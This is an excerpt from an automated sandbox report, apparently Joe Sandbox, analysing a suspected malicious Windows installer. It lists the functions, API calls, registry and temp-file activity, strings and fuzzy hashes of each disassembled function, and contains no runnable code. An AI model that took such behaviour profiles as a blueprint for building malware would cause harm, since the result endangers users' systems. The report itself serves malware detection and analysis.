Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-1876063424
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 701A1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 701A1B5F: GlobalFree.KERNEL32(?), ref: 701A1DB2
Part of subcall function 701A1B5F: GlobalFree.KERNEL32(?), ref: 701A1DB7
Part of subcall function 701A1B5F: GlobalFree.KERNEL32(?), ref: 701A1DBC

GlobalFree.KERNEL32(00000000), ref: 701A1825
FreeLibrary.KERNEL32(?), ref: 701A18AB
GlobalFree.KERNEL32(00000000), ref: 701A18D0

Part of subcall function 701A2352: GlobalAlloc.KERNEL32(00000040,?), ref: 701A2383

Part of subcall function 701A2724: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,701A17F6,00000000), ref: 701A27F4

Part of subcall function 701A15C6: wsprintfW.USER32 ref: 701A15F4

Strings

, xrefs: 701A18B1

Memory Dump Source

Source File: 00000000.00000002.2259069122.00000000701A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701A0000, based on PE: true

Associated: 00000000.00000002.2259033794.00000000701A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259096559.00000000701A4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2259132821.00000000701A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701a0000_xXUnP7uCBJ.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: fdd854621d602701c97ac64772dd92b6b7132a7e490e4cb18af5debaaa902c6e
Instruction ID: 20f23281628ea9c9b7185ab5c180fb5f2851ea237fbc9e69a72f86cddbbb23ad
Opcode Fuzzy Hash: fdd854621d602701c97ac64772dd92b6b7132a7e490e4cb18af5debaaa902c6e
Instruction Fuzzy Hash: 5241A2FA900204AACB119F74DD85B9E37BCBF05310F264579FD07AAA86DBBC9584C760

Function 004032DE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(00164C05,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Strings

)@, xrefs: 004033AE, 004033C7

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: )@
API String ID: 1092082344-1834664782
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nswC272.tmp,00000023,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nswC272.tmp,00000000,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nswC272.tmp,00000000,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nswC272.tmp, xrefs: 00402420, 0040242E, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nswC272.tmp
API String ID: 2655323295-1941657334
Opcode ID: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction ID: 2320c74fc41ffeb716861e397aa06506e2c1d49fdd3331f7b5a779c93e7e4390
Opcode Fuzzy Hash: 73e16f22230fec4bb41596bf14ea3730359cb40e1001d342c6dd81160fbf5f59
Instruction Fuzzy Hash: C4118471E00104BEEB10AFA5DE89EAEBB74EB44754F11803BF504B71D1DBB89D419B68

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004034A3,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75573420,004036EF), ref: 00405F46

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F12, 00405F16
nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Iw\Antndelsens,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Iw\Antndelsens, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Iw\Antndelsens
API String ID: 1892508949-982084275
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2209853074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209928142.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2209953204.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2210772601.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2209910807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

